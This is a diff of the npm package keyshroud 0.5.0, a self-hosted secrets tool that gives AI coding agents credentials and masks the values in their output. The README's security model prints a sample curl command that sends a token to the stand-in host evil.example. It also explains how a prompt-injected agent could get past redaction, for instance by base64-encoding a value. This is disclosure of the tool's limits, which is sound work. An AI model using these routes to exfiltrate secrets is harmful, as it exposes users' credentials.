keyshroud 0.0.0-stage → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md ADDED
@@ -0,0 +1,51 @@
1
+ # Changelog
2
+
3
+ All notable changes are documented here. This project follows
4
+ [Semantic Versioning](https://semver.org/).
5
+
6
+ ## [0.5.0] - 2026-10-13
7
+
8
+ First public release, renamed from `pi-vaultwarden` to **keyshroud**.
9
+
10
+ ### Added
11
+ - `bw://item[/field|/fields/name]` references, including `username`, `notes`,
12
+ `uri`, `id`, custom fields and TOTP codes.
13
+ - `run --env-file` for commit-safe reference files, `--only` for least
14
+ privilege, and streaming output masking (on by default when not a TTY).
15
+ - `inject` template rendering into `0600` files, `redact` filter, `scan` leak
16
+ finder, `lock`, append-only `audit.jsonl` (names only).
17
+ - MCP stdio server: `secrets_list`, `secrets_run`, `secrets_request`,
18
+ `vault_status`.
19
+ - Claude Code plugin: SessionStart + PostToolUse redaction hooks, MCP server,
20
+ skill.
21
+ - pi/omp `tool_result` redaction of every tool result.
22
+ - Test suite against a fake `bw`; CI; compiled `dist/` so the CLI runs from
23
+ `node_modules`.
24
+
25
+ ### Changed
26
+ - Default cache TTL is 1 hour (`KEYSHROUD_CACHE_TTL_MS`; was 7 days via
27
+ `PI_VAULTWARDEN_CACHE_TTL_MS`).
28
+ - Config moved to `~/.config/keyshroud/`.
29
+ - pi commands renamed: `/vault_add`, `/vault_wire`, `/vault_rotate`,
30
+ `/vault_status`; tools `vault_add_secret`, `vault_status`.
31
+ - `/secret` no longer needs a hard-coded local model; the planner is optional
32
+ (`KEYSHROUD_PLANNER_URL`).
33
+ - Duplicate vault item names fail closed instead of picking one.
34
+
35
+ - `run` and MCP `secrets_run` strip `BW_SESSION`, `BW_PASSWORD`,
36
+ `BW_CLIENTID` and `BW_CLIENTSECRET` from the child environment.
37
+ - Env files (`--env-file`, MCP `env_file`) reject `!command` values, including
38
+ legacy `!bw get …` lines; auth.json still accepts them.
39
+ - `run` exits with 128+N when the child dies from signal N.
40
+ - auth.json writes refuse to replace an unparseable file, use pi's directory
41
+ lock (`auth.json.lock/`), and write through symlinks.
42
+
43
+ ### Removed
44
+ - Hard-coded server URL and personal infrastructure defaults.
45
+
46
+ ### Migration from pi-vaultwarden
47
+ - Existing `!bw get password '…'` auth.json entries keep working unchanged.
48
+ - Rename `PI_VAULTWARDEN_CACHE_TTL_MS` → `KEYSHROUD_CACHE_TTL_MS`.
49
+ - Move `~/.config/pi-vaultwarden/master-password` (if used) to
50
+ `~/.config/keyshroud/master-password`.
51
+ - Replace `pi install @piskill/pi-vaultwarden` with `pi install npm:keyshroud`.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Daniel / EONSR
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,3 +1,326 @@
1
- # Temporary Holding Version
1
+ <div align="center">
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ <h1>
4
+ <picture>
5
+ <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/dinhkarate/keyshroud/main/assets/brand/lockup-dark.svg">
6
+ <img alt="keyshroud" src="https://raw.githubusercontent.com/dinhkarate/keyshroud/main/assets/brand/lockup.svg" height="88">
7
+ </picture>
8
+ </h1>
9
+
10
+ **Your agents use the keys. They never see them.**
11
+
12
+ Agent-safe secrets for Claude Code, Codex, Cursor, pi and omp — backed by your own
13
+ self-hosted [Vaultwarden](https://github.com/dani-garcia/vaultwarden) (or Bitwarden).
14
+
15
+ [![npm](https://img.shields.io/npm/v/keyshroud.svg)](https://www.npmjs.com/package/keyshroud)
16
+ [![CI](https://github.com/dinhkarate/keyshroud/actions/workflows/ci.yml/badge.svg)](https://github.com/dinhkarate/keyshroud/actions/workflows/ci.yml)
17
+ [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
18
+ [![Node](https://img.shields.io/node/v/keyshroud.svg)](package.json)
19
+
20
+ [Quickstart](#quickstart) · [How it works](#how-it-works) · [Claude Code](#claude-code) · [pi / omp](#pi--omp) · [MCP](#any-mcp-client-codex-cursor-claude-desktop) · [Security model](#security-model)
21
+
22
+ </div>
23
+
24
+ ```console
25
+ $ keyshroud run --mask -- sh -c 'echo "deploying with $GH_TOKEN"; gh api user -q .login'
26
+ deploying with <redacted:GH_TOKEN>
27
+ dinhkarate
28
+ ```
29
+
30
+ The command got the real token. The transcript — and the model reading it — got
31
+ `<redacted:GH_TOKEN>`. (Masking is automatic when an agent runs the command;
32
+ `--mask` forces it in a human terminal.)
33
+
34
+ ## Why
35
+
36
+ Coding agents need credentials to do real work: `gh`, `npm publish`, cloud CLIs,
37
+ webhooks, databases. The usual options are bad:
38
+
39
+ - **Paste the key into the chat.** It is now in the transcript, the provider's
40
+ logs, and every future context window.
41
+ - **Put it in `.env`.** The agent reads `.env`, `cat`s it while debugging, or
42
+ commits it.
43
+ - **Use a paid secrets manager.** Good, but `op run` needs a 1Password
44
+ subscription, and most "agent vaults" are hosted SaaS.
45
+
46
+ keyshroud keeps secrets in a vault you host, hands agents **names and
47
+ references**, injects values only into the child processes that need them, and
48
+ scrubs every value from tool output before the model sees it.
49
+
50
+ ## Features
51
+
52
+ | | |
53
+ |---|---|
54
+ | 🙈 **Masked output** | `keyshroud run` replaces every secret value in stdout/stderr with `<redacted:NAME>` — streaming-safe across chunk boundaries. |
55
+ | 🪝 **Agent hooks** | The pi/omp `tool_result` hook redacts every tool result, failed ones included. Claude Code's `PostToolUse` hook redacts every *successful* tool result (Bash, Read, Grep, MCP…) — see [limits](#security-model). |
56
+ | 🔌 **MCP server** | `keyshroud mcp` gives any MCP client `secrets_run`, `secrets_list`, `secrets_request`, `vault_status`. No tool ever returns a value. |
57
+ | 🔗 **Commit-safe references** | `bw://item`, `bw://item/username`, `bw://item/fields/name`, `bw://item/totp` in `.env.refs` files and templates. |
58
+ | ⌨️ **Paste-to-create** | New secrets go through a masked prompt in the user's terminal or a masked popup in pi — never through the chat. |
59
+ | 📄 **`inject`** | Render `{{ bw://… }}` templates into `0600` config files for tools that can't read env vars (`.npmrc`, kubeconfig). |
60
+ | 🔎 **`scan`** | Find vault values that leaked into your working tree (pre-commit friendly). |
61
+ | ⚡ **Fast** | One batched `bw list items` per session instead of one `bw get` (~3 s) per secret. |
62
+ | 🏠 **Self-hosted, free** | Vaultwarden on a $5 VPS or a Raspberry Pi. No SaaS account, no telemetry. |
63
+ | 🧾 **Audit log** | `audit.jsonl` records which *names* were used, when, by which command. Never values. |
64
+
65
+ ## Quickstart
66
+
67
+ **Requirements:** Node.js ≥ 22.18, the Bitwarden CLI (`npm i -g @bitwarden/cli`),
68
+ and a Vaultwarden or Bitwarden account. No server yet?
69
+ [examples/vaultwarden](examples/vaultwarden) runs Vaultwarden behind Caddy
70
+ (automatic HTTPS) with one `docker compose up -d`.
71
+
72
+ ```bash
73
+ npm install -g keyshroud
74
+
75
+ # 1. Point bw at your server and log in once
76
+ bw config server https://vault.example.com
77
+ bw login
78
+
79
+ # 2. Let keyshroud unlock without prompting (stored in the OS keychain)
80
+ security add-generic-password -a "$USER" -s vaultwarden-master-password -w # macOS: prompts for the value
81
+ # Linux: secret-tool store --label=vaultwarden service vaultwarden-master-password account "$USER"
82
+
83
+ # 3. Check everything
84
+ keyshroud doctor
85
+
86
+ # 4. Store a secret — typed into a masked prompt, never echoed
87
+ keyshroud add --env GH_TOKEN --item "GitHub CLI token" --notes "gh for agents"
88
+
89
+ # 5. Use it
90
+ keyshroud run -- gh auth status
91
+ keyshroud run -- claude # start an agent with every wired secret available
92
+ ```
93
+
94
+ Optional: put `vaultwarden-api-client-id` / `vaultwarden-api-client-secret` (from
95
+ *Settings → Security → Keys → API key*) in the keychain too, and keyshroud will
96
+ also re-login automatically when the `bw` session expires.
97
+
98
+ ## How it works
99
+
100
+ ```
101
+ ┌──────────────────── your machine ────────────────────┐
102
+ Vaultwarden ◄─bw─► │ keyshroud ── resolves bw:// refs (1 batched call) ──► child process env
103
+ (self-hosted) │ │ │ │ stdout/stderr
104
+ │ └── redactor ◄────────────────────────────────────┘◄─────┘
105
+ │ │ <redacted:NAME> │
106
+ └──────────────┼────────────────────────────────────────────────┘
107
+ ▼
108
+ agent transcript / LLM provider
109
+ ```
110
+
111
+ 1. **Wiring.** A secret is wired by *name*: `GH_TOKEN → bw://GitHub CLI token`.
112
+ Wiring lives in `~/.pi/agent/auth.json` / `~/.omp/agent/auth.json`
113
+ (shared with pi/omp) and in project `.env.refs` files. Both are safe to read.
114
+ 2. **Unlock.** `bw` is unlocked from the OS keychain; the session token is cached
115
+ in `~/.config/keyshroud/session` (`0600`).
116
+ 3. **Resolve.** All references resolve from one `bw list items` snapshot held in
117
+ memory for `KEYSHROUD_CACHE_TTL_MS` (default 1 h).
118
+ 4. **Inject.** Values go into the child process environment — never into argv
119
+ or tool results (`inject` writes `0600` files only when you ask it to).
120
+ 5. **Redact.** In-process (`run`, MCP, pi/omp) output passes through a redactor
121
+ that knows every wired value, the vault session token, and every login
122
+ password in the vault. Out-of-process Claude Code hooks use a keyed-HMAC
123
+ fingerprint index (`redact-index.json`, `0600`) of wired values and the
124
+ session token only, so they never hold plaintext or fingerprint your
125
+ personal passwords.
126
+
127
+ ## Claude Code
128
+
129
+ Install the CLI, then the plugin (MCP server + redaction hooks + skill):
130
+
131
+ ```bash
132
+ npm install -g keyshroud
133
+ ```
134
+ ```text
135
+ /plugin marketplace add dinhkarate/keyshroud
136
+ /plugin install keyshroud@keyshroud
137
+ ```
138
+
139
+ What you get:
140
+
141
+ - **SessionStart hook** — unlocks, refreshes the redaction index, and tells
142
+ Claude which secret *names* exist.
143
+ - **PostToolUse hook** — rewrites any successful tool result that contains a
144
+ wired value or the vault session token to `<redacted:NAME>` using Claude
145
+ Code's `updatedToolOutput` (tested with Claude Code 2.1.296).
146
+ **Limit:** when a command fails, Claude Code fires `PostToolUseFailure`, which
147
+ cannot rewrite output. The skill and session context therefore tell Claude to
148
+ run every secret-using command through `keyshroud run` (or `secrets_run`),
149
+ which masks inside the process regardless of the exit code.
150
+ - **MCP tools** — `secrets_run`, `secrets_list`, `secrets_request`, `vault_status`.
151
+ - **Skill** — teaches Claude to use names and references, never values.
152
+
153
+ The plugin calls `keyshroud` from `PATH`. If Claude Code is launched from a GUI
154
+ that doesn't see your npm/nvm bin directory, run `keyshroud link-cli` (links it
155
+ into `~/.local/bin`) and make sure that directory is on the GUI's `PATH`.
156
+
157
+ To give Bash commands the secrets as env vars, start Claude through keyshroud:
158
+
159
+ ```bash
160
+ keyshroud run -- claude
161
+ ```
162
+
163
+ Use a vault item as Claude Code's own API key (`apiKeyHelper`):
164
+
165
+ ```bash
166
+ keyshroud claude-setup --item "Anthropic API key" --ttl-ms 600000
167
+ ```
168
+
169
+ It backs up `settings.json` first and refuses to replace an existing helper
170
+ without `--force`.
171
+
172
+ ## pi / omp
173
+
174
+ ```bash
175
+ pi install npm:keyshroud
176
+ ```
177
+
178
+ The extension:
179
+
180
+ - hydrates wired secrets into the agent's environment before provider auth
181
+ resolves, so `$CUSTOM_KEY` provider references work at startup;
182
+ - redacts every tool result, successful or failed, through the `tool_result`
183
+ hook (wired values, the vault session token, and every vault login password);
184
+ - adds `/secret` (describe → confirm name → masked paste), `/vault_add`,
185
+ `/vault_wire`, `/vault_rotate`, `/vault_status`, and the `vault_add_secret` /
186
+ `vault_status` tools.
187
+
188
+ `/secret` can ask a local OpenAI-compatible model to propose the item and
189
+ variable names. Only your description is sent — never the value:
190
+
191
+ ```bash
192
+ export KEYSHROUD_PLANNER_URL=http://127.0.0.1:8080/v1/chat/completions
193
+ export KEYSHROUD_PLANNER_MODEL=qwen3-4b
194
+ ```
195
+
196
+ Without a planner, names are derived from the description and you can edit them.
197
+
198
+ ## Any MCP client (Codex, Cursor, Claude Desktop)
199
+
200
+ ```json
201
+ { "mcpServers": { "keyshroud": { "command": "keyshroud", "args": ["mcp"] } } }
202
+ ```
203
+
204
+ Codex: `codex mcp add keyshroud -- keyshroud mcp`.
205
+
206
+ | Tool | Does | Returns |
207
+ |---|---|---|
208
+ | `secrets_list` | Lists wired names (+ optional `env_file`) | resolved / unresolved names |
209
+ | `secrets_run` | Runs a shell command with secrets injected (`only`, `env_file`, `cwd`, `timeout_ms`) | exit code + masked stdout/stderr |
210
+ | `secrets_request` | Asks the human to store a new secret | a `keyshroud add …` command for *their* terminal |
211
+ | `vault_status` | Vault lock state, server, item count | status line |
212
+
213
+ ## CLI reference
214
+
215
+ ```text
216
+ keyshroud get <ENV_NAME | bw://ref> print one value (for scripts; not for agents)
217
+ keyshroud run [--env-file F]... [--only A,B] [--no-auth] [--mask|--no-mask] -- <cmd>
218
+ keyshroud inject [-i template] [-o out] [--force]
219
+ keyshroud redact < log.txt
220
+ keyshroud scan [paths...]
221
+ keyshroud env [--shell]
222
+ keyshroud add --env NAME --item ITEM [--notes TEXT] [--target pi|omp|both] [--stdin]
223
+ keyshroud rotate --item ITEM [--stdin]
224
+ keyshroud wire --env NAME --item ITEM [--target pi|omp|both] [--force]
225
+ keyshroud unwire --env NAME [--target pi|omp|both]
226
+ keyshroud status | unlock | lock | doctor
227
+ keyshroud mcp
228
+ keyshroud hook claude <session-start|post-tool-use>
229
+ keyshroud claude-setup --item ITEM [--settings PATH] [--ttl-ms N] [--force]
230
+ keyshroud api-key --item ITEM
231
+ keyshroud link-cli [--dir DIR] [--force]
232
+ ```
233
+
234
+ `run` masks output whenever stdout is not a terminal (agents, CI, pipes) and
235
+ passes the TTY through untouched for interactive use. Force either way with
236
+ `--mask` / `--no-mask`. `exec` is an alias of `run`.
237
+
238
+ **Exit codes:** `0` ok · `2` usage · `3` vault locked or unavailable · `4` secret
239
+ missing or item name ambiguous · `5` refusing to overwrite existing state.
240
+ `run` exits with the child's code.
241
+
242
+ ### References
243
+
244
+ | Reference | Resolves to |
245
+ |---|---|
246
+ | `bw://GitHub CLI token` | login password |
247
+ | `bw://GitHub CLI token/username` | login username (`notes`, `uri`, `id` also work) |
248
+ | `bw://Sentry/fields/dsn` | custom field `dsn` |
249
+ | `bw://AWS root/totp` | current TOTP code |
250
+ | `bw://a%2Fb` | item named `a/b` |
251
+ | `!bw get password 'Item'` | legacy auth.json form, still supported |
252
+
253
+ Item lookup is case-insensitive by name or exact by id. Duplicate names fail
254
+ closed (exit `4`) instead of guessing.
255
+
256
+ ### Configuration
257
+
258
+ | Variable | Default | |
259
+ |---|---|---|
260
+ | `KEYSHROUD_CACHE_TTL_MS` | `3600000` | in-memory vault snapshot + session check lifetime; `0` disables |
261
+ | `KEYSHROUD_CONFIG_DIR` | `$XDG_CONFIG_HOME/keyshroud` | session, redact index, audit log |
262
+ | `KEYSHROUD_KEYCHAIN_MASTER` | `vaultwarden-master-password` | keychain service names… |
263
+ | `KEYSHROUD_KEYCHAIN_CLIENT_ID` | `vaultwarden-api-client-id` | |
264
+ | `KEYSHROUD_KEYCHAIN_CLIENT_SECRET` | `vaultwarden-api-client-secret` | |
265
+ | `KEYSHROUD_AUDIT` | on | `0` disables `audit.jsonl` |
266
+ | `KEYSHROUD_PLANNER_URL` / `_MODEL` / `_API_KEY` | unset | optional naming helper for `/secret` |
267
+
268
+ ## Security model
269
+
270
+ keyshroud protects against **accidental disclosure**: secrets ending up in
271
+ transcripts, provider logs, screenshots, commits, or the model's context because
272
+ a command printed them.
273
+
274
+ It does **not** make a hostile or prompt-injected agent safe. An agent that can
275
+ run `keyshroud run -- curl https://evil.example -d "$TOKEN"`, or base64-encode a
276
+ value before printing it, can exfiltrate it. If that is your threat model, use
277
+ an egress proxy that swaps placeholder credentials on the wire (for example
278
+ Infisical Agent Vault or OneCLI), restrict which secrets each session
279
+ gets with `--only`, and keep a human approving commands.
280
+
281
+ Guarantees we test for:
282
+
283
+ - secret values never appear in argv, logs, diagnostics, MCP results, hook
284
+ output, or `audit.jsonl`;
285
+ - new secrets are read from a masked prompt or stdin, never flags;
286
+ - the session file, redact index, rendered templates and auth files are `0600`;
287
+ - auth.json writes are locked and atomic and never overwrite without `--force`;
288
+ - commands started by `run` and `secrets_run` never receive `BW_SESSION`,
289
+ `BW_PASSWORD`, `BW_CLIENTID` or `BW_CLIENTSECRET`, so `--only` really limits
290
+ what a command can read (inside pi/omp the agent process keeps the session for
291
+ legacy `!bw` auth entries; its value is redacted from tool output);
292
+ - env files may contain only references and literals — a `!command` value is
293
+ rejected, so a cloned repo's `.env.refs` cannot run code;
294
+ - an unparseable `auth.json` is never overwritten.
295
+
296
+ Known limits: an agent with shell access as your user can read
297
+ `~/.config/keyshroud/session` and use `bw` directly — run agents in a sandbox or
298
+ container if that matters. Redaction is exact-match, so a *partial* or transformed value
299
+ (`${TOKEN:0:10}`, base64, a line wrapped by a tool) is not masked; values
300
+ shorter than 6 characters are not redacted (to avoid noise), so don't wire short
301
+ PINs.
302
+
303
+ Report vulnerabilities privately — see [SECURITY.md](SECURITY.md).
304
+
305
+ ## Development
306
+
307
+ ```bash
308
+ npm install
309
+ npm run check # typecheck + tests (fake bw, no real vault) + build
310
+ node src/cli.ts doctor # run from source (Node ≥ 22.18 strips types)
311
+ ```
312
+
313
+ See [CONTRIBUTING.md](CONTRIBUTING.md). The runtime-neutral core is in
314
+ `src/core.ts`; agent integrations live in `extensions/`, `src/mcp.ts` and
315
+ `src/hooks.ts`.
316
+
317
+ ## Credits
318
+
319
+ Inspired by [@jmcombs/pi-1password](https://www.npmjs.com/package/@jmcombs/pi-1password)
320
+ — its popup UI and diagnostics shape are ported here (MIT). Masked output follows
321
+ 1Password's `op run`. Not affiliated with Bitwarden, Inc. or the Vaultwarden
322
+ project; "Bitwarden" is a trademark of Bitwarden, Inc.
323
+
324
+ ## License
325
+
326
+ [MIT](LICENSE) © 2026 dinhkarate
package/SECURITY.md ADDED
@@ -0,0 +1,36 @@
1
+ # Security policy
2
+
3
+ ## Reporting a vulnerability
4
+
5
+ Please **do not open a public issue**. Use GitHub's private vulnerability
6
+ reporting: *Security → Report a vulnerability* on
7
+ [dinhkarate/keyshroud](https://github.com/dinhkarate/keyshroud/security/advisories/new).
8
+
9
+ Include the version (`keyshroud --version`), OS, agent (Claude Code, pi, omp,
10
+ MCP client) and a minimal reproduction. Never include real secret values; use
11
+ obviously fake ones.
12
+
13
+ We aim to acknowledge reports within 3 days and to ship a fix or mitigation for
14
+ confirmed issues within 14 days, crediting reporters who want credit.
15
+
16
+ ## Supported versions
17
+
18
+ Only the latest minor release receives security fixes while the project is
19
+ pre-1.0.
20
+
21
+ ## Scope
22
+
23
+ In scope: any path where a secret value reaches argv, logs, diagnostics, tool or
24
+ MCP results, hook output, the audit log, files with permissions wider than
25
+ `0600`, or the model's context despite redaction being enabled; auth.json
26
+ corruption; session token exposure.
27
+
28
+ Note on `redact-index.json`: it holds a keyed HMAC and a 32-bit rolling hash of
29
+ each value so hooks can redact without plaintext. Anyone who can read this
30
+ `0600` file can brute-force weak values offline — the same trust boundary as the
31
+ `bw` session file next to it, which unlocks the whole vault.
32
+
33
+ Out of scope (documented limitations, see the README's *Security model*): an
34
+ agent deliberately exfiltrating a value it was given (for example over the
35
+ network, or after encoding it); secrets shorter than 6 characters; values the
36
+ user prints with `get` or `env --shell` on purpose.
@@ -0,0 +1,6 @@
1
+ export declare const BRAND: {
2
+ readonly name: "keyshroud";
3
+ readonly bin: "keyshroud";
4
+ readonly envPrefix: "KEYSHROUD";
5
+ readonly configDirName: "keyshroud";
6
+ };
package/dist/brand.js ADDED
@@ -0,0 +1,8 @@
1
+ // Single source of product naming. Renaming the project only touches this file,
2
+ // package.json, and documentation.
3
+ export const BRAND = {
4
+ name: "keyshroud",
5
+ bin: "keyshroud",
6
+ envPrefix: "KEYSHROUD",
7
+ configDirName: "keyshroud",
8
+ };
package/dist/cli.d.ts ADDED
@@ -0,0 +1,2 @@
1
+ #!/usr/bin/env node
2
+ export {};